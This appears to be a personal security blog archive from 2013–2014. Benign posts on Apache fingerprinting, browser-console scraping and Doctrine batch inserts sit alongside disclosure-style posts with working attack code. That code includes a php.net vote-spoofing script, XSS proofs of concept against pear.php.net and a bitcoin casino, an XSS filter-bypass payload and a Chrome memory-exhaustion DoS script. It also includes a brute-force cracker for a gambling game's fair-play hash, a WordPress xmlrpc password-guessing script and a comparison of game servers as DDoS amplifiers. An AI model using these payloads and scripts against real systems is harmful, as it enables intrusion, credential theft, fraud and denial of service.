Tuesday, April 22, 2014

Apache fingerprinting with icons directory

Sometimes webservers don't return "Server" header in HTTP response or return fake value. It doesn't increase security in any way and it's clear example of Security through obscurity, however some administrators want to hide this information or even change it to some odd values.

If you are one of them and you're running apache don't forget about default /icons/ alias. Anyone can use it to guess that you're using apache, for example:

http://apache.org/icons/apache_pb.gif

Directory content can be different between apache versions, so it also may reveal which version you are using.

For example:

Apache 2.2 (icons/apache_pb.gif):
Apache 2.2

Apache 2.4 (icons/apache_pb.gif):
Apache 2.2

For more differences you can take a look in apache source code repository history:
http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/icons/

You can disable this alias in the httpd.conf file, simply comment out the line:
Alias /icons/ "/var/www/icons/"

Monday, April 21, 2014

Abusing PHP.net "User Contributed Notes" up/down voting system easier

On php.net website there is "User Contributed Notes" with up/down vote system. There is simple abuse protection mechanism that makes voting from the same IP address in short time unavailable. Look closer at "manual/vote-note.php":
...
$master_url = "http://master.php.net/entry/user-notes-vote.php";
...
$data = array(
              "noteid" => $_REQUEST['id'],
              "sect" => $_REQUEST['page'],
              "vote" => $_REQUEST['vote'],
              "ip" => $_SERVER['REMOTE_ADDR'],
         );
...
... $r = posttohost($master_url, $data) ...
And posttohost function from include include/posttohost.inc:
...
function posttohost($url, $data)
{
    $data = http_build_query($data);

    $opts = array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $data,
    );

    $ctx = stream_context_create(array('http' => $opts));

    $response_body = @file_get_contents($url, false, $ctx);

    return $response_body;
}
One of parameters sending to http://master.php.net/entry/user-notes-vote.php is IP addresss that can be easily spoofed - just forget about php.net/manual/vote-note.php and send POST request directly to http://master.php.net/entry/user-notes-vote.php (there is no validation, request source IP whitelisting etc).

<php
// demo
$url = 'http://master.php.net/entry/user-notes-vote.php';

$data = array('noteid' => /*NOTE_ID*/, 'sect'=>'/*SECT*/', 'vote' => '/*VOTE*/', 'ip'=>'/*SOME_RANDOM_IP*/');

$options = array(
   'http' => array(
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
    ),
);

$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);

echo $result;

pear.php.net XSS

Long time ago (28.06.2013) I found XSS bug in http://pear.php.net/support/lists.php. Email parameter was neither validated nor sanitized which resulted in XSS. Proof of concept was:
<head>
    <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
</head>

<body> 
    <form method="post" action="http://pear.php.net/support/lists.php" id="form" style="display:none">
    <input name="maillist[pear-dev]" type="radio" value="normal" checked>
    <input type="text" name="email" size="30" value="<script>alert('xss');</script>">
    <input type="submit" name="action" value="Subscribe">
    </form>
</body>
 
<script>
     $('input[name=action]').click();
</script>
Fixed 08.07.2013.

Sunday, September 1, 2013

Crawling and parsing web pages in javascript directly from your web browser

Introduction

Developer tools that are built in all modern browsers are powerful tools in a skillful hands. In this post I will show you how you can use them (essentially javascript console) to parse web pages. If you are not familiar with any developer tools in web browsers, please read some introduction first. You should also have basic knowledge of html, javascript and jquery.

I'll use Google Chrome as a web browser.

Idea

Basically in browsers javascript console we can execute javascript code in a context of current web page. Using ajax (XMLHttpRequest) we can also fetch html from nested urls and parse them as well (like crawlers do). It isn't complicated or innovative, but there are two things that are worth mentioning.
  • I'll use jquery to produce smaller and easier code, because of its selectors and built-in ajax method. When page doesn't use that library already, we need to inject it. It will be shown later in "Live example" how to do that.
  • On ajax-based pages it's better to disable origin policy checking by web browser, because sometimes ajax requests will trigger origin errors like "Origin http://www.example.com is not allowed by Access-Control-Allow-Origin".
    In google chrome we can do it by executing it with --args --disable-web-security parameter. You can read more about origin policies here and here.

Basic example

I prepared really basic, static web page to demonstrate idea. The url is http://cinu.pl/research/jsparsing/

Source code of this web page is:

index.html:
<html>

<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>

<body>
<a href="a.html">link 1</a>
<a href="b.html">link 2</a>
<a href="c.html">link 3</a>
</body>

</html>

a.html,b.html,c.html contains a div with value we want to read:
<html>

<body>
<div class="container">
   <div class="data">VALUE WE WANT TO FETCH</div>
</div>
</body>

</html>

As you can see in index.html there is already included jquery library so there is no need to inject it.

The parser code is:
var out = ''; // container for fetched values

function parse() {
 $('a').each( // go through each anchor on page and make ajax request to fetch html
  function(idx, item) { 
   var url = $(item).attr('href'); // get url
   console.log('Fetching: '+ url); // debug note
   
   // make ajax request (http://api.jquery.com/jQuery.ajax/)
   $.ajax({
    url: url, 
    async: false, // do it synchronously
   }).done(function(data) { // data variable contains fetched html
    var dataRetrieved = $('div',$(data)).html(); // get value we're looking for
    console.log( 'Retrieved ' +  dataRetrieved); // debug note
    
    out += dataRetrieved + "\n"; // save retrieved value (+ separator)
   });
  } 
 );
 console.log("-----------------\nParsing done, output:\n"+out); // print out parsed values
}

Go to http://cinu.pl/research/jsparsing/, paste above code in Developer tools console and hit enter. To execute this code just write "parse()" and hit enter.
Result:

I guess this code is well documented, so there is no need to describe what it does, so lets try to do some more complicated example.

Live example - parsing aliexpress.com

The main goal is to fetch first 5 items from products category (I'll use wireless routers as an example) and check if there is any "feedback" from poland country on first page of feedback.

This task seems silly and parsed data is rather useless but this is only example which helps me to utilize things I have previously written.

Step 1. Injecting JQuery

Since aliexpress doesn't use jquery we need to inject it.
Injection code:
var $jq; // jquery handler to avoid $ conflicts

function injectJquery() {
 var script = document.createElement('script');
 script.setAttribute('type', 'text/javascript');
 script.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'); // fetch it from googles CDNs

 // Give $ back to whatever took it before; create new alias to jQuery. 
 script.setAttribute('onload','javascript:$jq = jQuery.noConflict();'); 

 document.body.insertBefore(script, document.body.firstChild); 
}

injectJquery(); // call it automatically when paste into console

We can see that apart from simple injection we also make a jQuery.noConflict() call and assign jquery to $jq and not $. We need to do that because some scripts can also use $ (prototype.js for instance) and we need to give $ variable back to it because some parts of javascript code on target page might be broken.

Step 2. Get urls of products we want to parse "feedback" on



We need to remember that when we are fetching static pages through ajax, javascript won't be parsed and executed and we need do it manually. Because "Feedback" tab is loaded dynamically with javascript we won't get "Feedback" data in html when we fetch product page. We will handle it in next step, for now parser code is:
var productsNum = 5; 

function parse() {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   var parsedDom = $jq(data);
   
   // check if it works
   console.log( '[TEST] item price: ' + $jq('#sku-price', parsedDom).html() );
  });
 }
}

Step 3. Find a way to fetch feedback (cause it's dynamically fetched through ajax).

First of all we need to get url where http requests for feedback data goes. To do that we need to look in Network tab of Developer Tools, press "Feedback" tab on web page and check "Documents" and "XHR" checkboxes (we don't need scripts, images, fonts etc.).

We can see couple of interesting urls like:
http://www.aliexpress.com/store/productGroupsAjax.htm?storeId=413596 [with JSON response]
http://www.aliexpress.com/findRelatedProducts.htm?productId=733919144&type=new [with JSON response]

But what we are looking for is:
http://feedback.aliexpress.com/display/productEvaluation.htm?productId=733919144&ownerMemberId=201779865&companyId=214347019&memberType=seller&startValidDate=&i18n=true
It contains raw HTML response. When we look into "response" we will see that this is exactly what are we looking for.

Now we need to take a closer look into parameters in url, that are:
productId=733919144
ownerMemberId=201779865
companyId=214347019
memberType=seller
startValidDate=
i18n=true

We can extract productId from product url for example in http://www.aliexpress.com/item/Hot-Sale-Wireless-N-Networking-Device-Wifi-Wi-Fi-Repeater-Booster-Router-Range-Expander-300Mbps-2dBi/733919144.html (product id is 733919144)

Only two of them are unknown: ownerMemberId and companyId. However if we look in the product page source code we will find it inside script tag:
...
window.runParams.adminSeq="201779865";
window.runParams.companyId="214347019";
...


We need to get it directly from the html code. I'll use regular expressions:
...
 var rx = /window.runParams.adminSeq="(\d+)"/g;
 var arr = rx.exec(data); // data contains product page html
 var adminSeq = arr[1];
 
 var rx = /window.runParams.companyId="(\d+)"/g;
 var arr = rx.exec(data); // data contains product page html
 var companyId = arr[1]; 
 
 console.log('Parsed runParams: ' + adminSeq + ' ' +companyId);
... 

If you look closer you can see that productId is also in source code in window.runParams, so we will get it like adminSeq and companyId.

parse() function now looks like this:
var productsNum = 5; 

function parse() {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   //var parsedDom = $jq(data); // we dont need parsedDom since we will be executing regular expressions on raw html
   
   // construct feedbackUrl:
   var rx = /window.runParams.adminSeq="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var adminSeq = arr[1];
   
   var rx = /window.runParams.companyId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var companyId = arr[1]; 
   
   var rx = /window.runParams.productId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var productId = arr[1];    

   var feedbackUrl = 'http://feedback.aliexpress.com/display/productEvaluation.htm?productId='+productId+'&ownerMemberId='+adminSeq+'&companyId='+companyId+'&memberType=seller&startValidDate=&i18n=true';
   
   console.log('Feedback url: '+feedbackUrl);
   
   // here we'll make another ajax call to fetch feedback data
  });
 }
}

4. Final step: Avoiding Origin policy checking and parse feedback html and check for searched country

If we try to make ajax call on prepared feedbackUrl in our parse() function we will see in console that "Origin http://www.aliexpress.com is not allowed by Access-Control-Allow-Origin" browser error. In Google Chrome we can bypass it by adding --args --disable-web-security when we execute binary.

Looking into feedbacks html we can see that flag indicating users country is described as follows:
<span class="state"><b class="css_flag css_br"></b></span>
Simple jquery selector will do the job:
$jq('b.css_'+countryCode);

The final code is:
// jquery injection
var $jq; // jquery handler to avoid $ conflicts

function injectJquery() {
 var script = document.createElement('script');
 script.setAttribute('type', 'text/javascript');
 script.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'); // fetch it from googles CDNs

 // Give $ back to whatever took it before; create new alias to jQuery. 
 script.setAttribute('onload','javascript:$jq = jQuery.noConflict();'); 

 document.body.insertBefore(script, document.body.firstChild); 
}

injectJquery();

// parsing
var productsNum = 5; 

function parse(country) {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   //var parsedDom = $jq(data); // we dont need parsedDom since we will be executing regular expressions on raw html
   
   // construct feedbackUrl:
   var rx = /window.runParams.adminSeq="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var adminSeq = arr[1];
   
   var rx = /window.runParams.companyId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var companyId = arr[1]; 
   
   var rx = /window.runParams.productId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var productId = arr[1];    

   var feedbackUrl = 'http://feedback.aliexpress.com/display/productEvaluation.htm?productId='+productId+'&ownerMemberId='+adminSeq+'&companyId='+companyId+'&memberType=seller&startValidDate=&i18n=true';
   
   // get feedback page and check if there is searched country
   $jq.ajax({ // to make that request we need to disable web security in google chrome
    url: feedbackUrl, 
    async: false,
   }).done(function(data) {
   console.log( $jq('b.css_'+country, $jq(data)).length );
    
    // check if element with css_country class exists:
    if ( $jq('b.css_'+country, $jq(data)).length ) {
     console.log('[FOUND] item: '+url);
    }
   });
  });
 }
}
We executing it with parse('pl') when we want to check if there is a feedback from poland.

Some thoughs

In above example we made operations on a raw html code, however using json is a lot easier, because we don't need to use regular expressions, jquery selectors, etc. to fetch data.

Another thing is that we don't need to store data in console log. We can inject some div into webpage and then store results in it.

Saturday, August 3, 2013

Doctrine2 (PHP): inserting large amount of entities

First of all IMO Doctrine2 don't really fits for inserting large amount of data/entities because of its abstraction layer "overhead". Nevertheless during development my IpToCountry Symfony2 Bundle I have chosen to use it for easier installation and better integration of that bundle.

Data set which needs to be inserted is a .csv file from http://software77.net/geo-ip/. Its decompressed size (as I writing this note) is about 9MB and it contains about 127000 records. However I'll use gzipped file (~1.5MB) and decompress it "on the fly".

Lets look at inserting function prototype:
...
    public function load(ObjectManager $manager)
    {
        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...
This code won't work, because it'll trigger fatal error (memory exhaustion) soon or later (depends on memory limit and number of entities). What we need to do is to use chunked inserting approach and depends on doctrine debug configuration (in symfony2 it directly depends on %kernel.debug%) we need also to turn off sql logging.

The final code looks like this:
...
    public function load(ObjectManager $manager)
    {
        $count = 0;
        $objectsPerChunk = 1000;

        $manager->getConnection()->getConfiguration()->setSQLLogger(null);

        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
                    $count++;
                    if ($count%$objectsPerChunk == 0) {
                        $manager->flush();
                        $manager->clear();
                    }
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...
In line 23 there is important $manager->clear() which "detaches" all object currently managed by $manager. Basically detaching frees memory, but if you want to look under the hood and see what really happening, go to doDetach() method in Doctrine/ORM/UnitOfWork.php

You may be wondering why I choose 1000 objects per chunk, not 100, 5000 or 10000? Well in my case it turns out that the ~1000 is the best choice considering speed. Here are some benchmarks I did:

objects per chunktime
1003m6s
5002m43s
8002m43s
10002m37s
12002m38s
15002m46s
20002m39s
50002m53s
200003m17s

Monday, July 22, 2013

In the meantime...

Recently, when I have some spare time, I'm finishing my own project which I hope to release soon. However, apart from that project I have also found:

  • Google Chrome <= 28 DoS (by memory exhaustion) using history.pushState
    <script>
    var r="BOMB!";for(var e=0;e<22;e++){r+=r;}
    for(var d=0;d<100000;d++) {
            history.pushState({},r);
    }
    </script>
    
    Live demo

    On android 4.2.2 @ nexus 7 this is quicker:
    <script>
    var r="";for(var e=0;e<1000000;e++){r+=String.fromCharCode(1+Math.floor(Math.random()*254));}
    history.pushState({},r,r);
    </script>
    

  • pear.php.net XSS

    http://pear.php.net/support/lists.php (Email parameter was neither validated nor sanitized)

  • satoshiroulette.com (bitcoin casino) XSS :

    Examples:

    http://satoshiroulette.com/game-info.php?mode=BTC&game=%3C/title%3E%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E

    http://satoshiroulette.com/render_address_roulette.php?mode=BTC&game=%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E

Saturday, July 6, 2013

XSS parentheses and brackets filter bypassing

Let's assume that injection takes place in img tag src attribute:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="<?php echo $_GET['filename']"; ?> >
...
One approach is to use exceptions as is described here. So the injected code (filename param) should look like this:
fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="
Resulting in:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="javascript:window.onerror=alert;throw 'XSS'" dummyParam="" >
...
But I'd like to show you another way to do XSS without parentheses and brackets by using location.href and "data:" URI with base64 encoding. Let's inject <script>alert("XSS")<script/> code (in base64 is PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=). So crafted parameter should look like this:
fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="
Resulting in:
<!-- http://example.com/image.php?filename=INJECTION -->
...
<img src="fileThatDoesNotExist" onerror="location.href='data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='" dummyParam="" >
...

Monday, May 27, 2013

Winning in bad designed online games that use cryptographic hash functions as a proof of fair play


What it means that game uses cryptographic hash functions as a proof of fair play? When you start round a game state string is generated, and hash of it is displayed to you. After you lose or win original GSS (game state string) is displayed and you can verify that the hash is correct. More important fact is that GSS contains a readable wining/losing states that you can verify yourself (for example: in a "mines" game it will be position of all mines) after you end the game. This is the way some games use to show you that the game is really fair.

So basically when you crack that hash you will get GSS before you even start playing, and that will make you always win. Cracking that hash should be very hard and almost impossible and it strictly depends on GSS construction. However if GSS is bad designed you will be able to win everytime.

The best way to crack that game is to generate all possible GSSs with their hashes (this is so called "rainbow table"), but when the GSS is well designed you'll need a lot of storage (ex. thousands of petabytes). There are some GSS dynamic components (like timestamp) which make generating rainbow table impossible and that is why sometimes better option would be cracking hash on the fly (using GPU, multiple GPUs, etc.). But we have same issue here - if the GSS is well designed or you don't have enough computing power you will be waiting months, years, decades or even ages.

Now lets try to crack real example.

Satoshi-Karoshi is mines-like gambling game using bitcoin currency. There is "Free play!" option so we'll use it for our research purposes.

Step 1: Understanding GSS (game state string) structure and its implications.

First of all we need to collect some samples ("Free play!" option):
# 2x3 map:
128c4256f6fdf057b8cd759a137721efb412b10e - (2,2,2 | 2013-05-25 10:59:20)1ab8f2
84c2b4349e8884d1f024d579c4d6379bc6b46c49 - (1,2,2 | 2013-05-25 11:00:03)33bc57

# 3x6 map:
2fc25b3c901f49ada25b17d84eee033e8313a920 - (1,2,1,2,2,1 | 2013-05-25 11:00:18)b2c1af
e91cc7503926463dc9e2b9a75ee6c4378b058e40 - (3,1,2,2,2,2 | 2013-05-25 11:00:33)5c0e90
 
# 4x9 map:
74b8b7f6fb186e784883c496ed30468453c5afeb - (3,2,1,3,3,3,1,1,4 | 2013-05-25 11:00:57)b120d0
66570d11f8da47917f65e5754a875f947828d365 - (3,2,4,4,3,2,4,1,3 | 2013-05-25 11:01:17)c607fc
 
# 5x11 map:
936523f9bd3055011fbc95cd25e174b3eef762a2 - (3,4,4,1,2,4,5,3,5,1,5 | 2013-05-25 11:01:42)b599d1
73dfff09231396ebafc7aba4a1cd84156a180ffc - (3,4,2,1,3,3,1,5,1,3,5 | 2013-05-25 11:02:38)f2b4e7
It's obvious that GSS structure contains 3 different sections, and can be written as:
(MINES[positions] | TIMESTAMP)HEXSTRING
We can't generate rainbow table because of timestamp and assuming that we will be able to "guess" it, lets calculate all possibles GSSs (ignoring timestamp for now).
map 5x11 - 819200000000000 combinations (5^11[MINES] * 16^6[HEXSTRING])
map 4x9 - 4398046511104 combinations (4^9[MINES] * 16^6[HEXSTRING})
map 3x6 - 12230590464 combinations (3^6[MINES] * 16^6[HEXSTRING})
map 2x3 - 134217728 combinations (2^3[MINES] * 16^6[HEXSTRING})
So what about timestamp? We can synchronize our local computer time with game server time with some requests, or just use "Date" field from HTTP header (when you click "Free play!" there is ajax POST in the background which contains server time in http response header).

Step 2: Cracking

In ideal world we should be able to use existing tools for sha1 gpu brute-force cracking with "mask" feature (because we already know GSS structure, and we know that MINES section are numbers separated by comma, first character is always "(", etc.). oclhashcat is a great gpu hash cracker with "mask" attack support, but the maximum password length (in our case password=GSS) is set to 15 (and unfortunately oclhashcat is closed source). I haven't search enough to see if there are another alternatives gpu crackers with "mask" support but looking closer at combinations number for 2x3 map (134217728 is relatively small) we don't need to use GPU after all. I've written small brute-force cracker using fast sha1 implementation in x86 assembly by Nayuki Minase. I've modified only main() function from sha1test.c which now looks like:

...

int main(int argc, char **argv) {

        if (argc<3) { // change it for MT, cause of extra argument
                printf("\n%s HASH DATETIME\n\n", argv[0]);
                exit(0);
        }

        // self-check
        if (!self_check()) {
                printf("Self-check failed\n");
                return 1;
        }


        // change hash string (argv[1]) into proper array of uint32_t, quick&dirty way :)
        uint32_t search[5];
        char search_str[40];
        uint8_t tmp[9];
        int i,k;

        memcpy(search_str, argv[1], 40);
        for(i=0,k=0;i<40;i+=8,k++) {
                memcpy(tmp, search_str+i, 8);
                tmp[8] = 0;
                search[k] = (uint32_t)strtol(tmp, NULL, 16);
        }

        // HEXSTRING section
        uint8_t chars[] = "731fda260594be8c"; // shuffled
        uint32_t chars_len = strlen(chars);

        // MINES section
        uint8_t markers[] = "12";
        uint32_t markers_len = strlen(markers);

        // message template
        uint8_t message[36] = "(-,-,- | 2013-05-22 15:46:01)------";

        // fill timestamp
        memcpy(message+9, argv[2], 19);
        
        // fill mines for MT       
        /*message[1] = argv[3][0];
        message[3] = argv[3][1];
        message[5] = argv[3][2];*/


        // cracking
        int i_a, i_b, i_c, i_d, i_e, i_f, i_m1, i_m2, i_m3;
        uint32_t hash[5];


        for(i_m1= 0; i_m1<markers_len; i_m1++) // remove for MT
        for(i_m2= 0; i_m2<markers_len; i_m2++) // remove for MT
        for(i_m3= 0; i_m3<markers_len; i_m3++) // remove for MT
        for(i_a=0; i_a<chars_len; i_a++)
        for(i_b=0; i_b<chars_len; i_b++)
        for(i_c=0; i_c<chars_len; i_c++)
        for(i_d=0; i_d<chars_len; i_d++)
        for(i_e=0; i_e<chars_len; i_e++)
        for(i_f=0; i_f<chars_len; i_f++) {
                // MINES section
                message[1] = markers[i_m1]; // remove for MT
                message[3] = markers[i_m2]; // remove for MT
                message[5] = markers[i_m3]; // remove for MT

                // HEXSTRING section
                message[34] = chars[i_f];
                message[33] = chars[i_e];
                message[32] = chars[i_d];
                message[31] = chars[i_c];
                message[30] = chars[i_b];
                message[29] = chars[i_a];
//              printf("%s\n", message);
                sha1_hash(message, 35, hash);

                // check generated hash
                if (hash[0]==search[0] && hash[1]==search[1] && hash[2]==search[2] && hash[3] == search[3] && hash[4] == search[4]) {
                        message[35] = 0;
                        printf("Found: %s\n", message);
                        return 0;
                }
        }

        return 0;
}

...

In spite of one thread this code crack that hash in seconds. However extending to simplified multithreading for 2x3 map is easy, proper lines are marked with *MT comment in code. After changes in code we should run 8 separate threads, like in that bash script:
#!/bin/bash
./crack $1 "$2" 111 &
./crack $1 "$2" 112 &
./crack $1 "$2" 121 &
./crack $1 "$2" 122 &
./crack $1 "$2" 211 &
./crack $1 "$2" 212 &
./crack $1 "$2" 221 &
./crack $1 "$2" 222 &

And video of using it in action (I've used multithreaded version to make video length little shorter):

WARNING! If you want to win some bitcoins in that game, you should know that games for real bitcoins have different GSSs which are far more complicated and can't be cracked easily!

UPDATE 30-08-2013:
oclHashcat-plus v0.15 is capable of cracking passwords longer than 15 characters, although performance is worse. You can read more details in release note here

Saturday, April 13, 2013

Wordpress password guessing with xmlrpc.php

Recently wordpress powered websites are under a password guessing attack. Since everyone writes about /wp-login.php and /wp-admin and gives tips how to protect these files I'd like to mention that xmlrpc.php file (XML-RPC wordpress "handler") also allows attacker to perform credentials guessing.

I've written simple script in PHP that check if login/password pair is valid via xmlrpc mt.getCategoryList method (however other methods also have login and passwords parameters, just look inside wp-includes/class-wp-xmlrpc-server.php)
<?php

function wp_xmlrpc_test($url = 'http://www.wordpress.org/xmlrpc.php', $login = 'admin', $password = 'admin') {

    $xml = '<?xml version="1.0" encoding="utf-8"?>
    
    mt.getCategoryList
    
    -1
    '.$login.'admin
    '.$password.'
    
    ';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);

    $uri = parse_url($url);
 
    $header[] = "Host: ".$uri['host'];
    $header[] = "Content-type: text/xml";
    $header[] = "Content-length: ".mb_strlen($xml);

    curl_setopt( $ch, CURLOPT_URL, $url);
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt( $ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt( $ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'POST');

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;
}

var_dump( wp_xmlrpc_test('http://www.wordpress.org/xmlrpc.php') );
PS. There is even method for fetching available methods (mt.supportedMethods) :)

Saturday, March 30, 2013

Amplifying DDoS data volume by using spoofed UDP packets

Audio amplifier image
Recently Spamhaus and Cloudflare was hit by a massive DDoS attack. Where the 300Gbits/s is impressive, it is worth mentioning that situation it's not as dramatic as media described.

Attackers used public DNS servers (with enabled recursive resolving) to amplify volume of data. In short it works because DNS uses UDP protocol which is stateless (there is no "handshaking") and source address can be spoofed easily. What is more DNS servers respond to spoofed IP with even 100x bytes more than they've received therefore they are widely used as a data volume "amplifiers". Keeping in mind that this method succeeded mainly because of UDP nature, internet architecture and routing, we can use other applications based on UDP to amplify volume of data. Problem is not new and back in 2000 document "Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing" was created. You can read more on CNETs "How the Spamhaus DDoS attack could have been prevented"

Lets check some other possible "amplifiers". Online game servers will be a good start, because games commonly use UDP and many servers allow to query them for fetching their status, settings, players etc. Of course number of game servers can't be compared to number of "vulnerable" dns servers, which is 25 million according to Open DNS Resolver Project.

So today I've recreated my research I did couple years ago. I chose 5 popular (IMO) games and for each game I picked up 5 random empty servers from gametracker.com. Games that I've chosen are: Quake 3, Call of Duty 4, Counter Strike 1.6, Counter Strike Source and Team Fortress 2.

Here are the results:
sent
packet
size
server 1
response
size
server 2
response
size
server 3
response
size
server 4
response
size
server 5
response
size
average
response
size
% gainratioservers @ gametrackerservers @
game-monitor
Q3569237579339881007921.6164616.464001290
COD456450448538585523508.89099.0955355392
CS 1.657207021041730211120282008.6352435.243066950054
CS:S108169635251806171721912187202520.25969616963
TF2108231925893723277528372848.6263826.38656013875

So it is clear that the best candidate for "amplifier" from my small test set is Counter Strike 1.6 because of average 35-to-1 ratio and the biggest estimated number of public servers. Nevertheless it can't be compared to DNS open recursive resolvers.

PS. Both Q3 and COD4 use same network protocol in application layer (Quake3). Same situation is with TF2 and CS:S (Source).

PS 2. In the past there was similar issue with spoofed ICMP protocol packets and it is called Smurf attack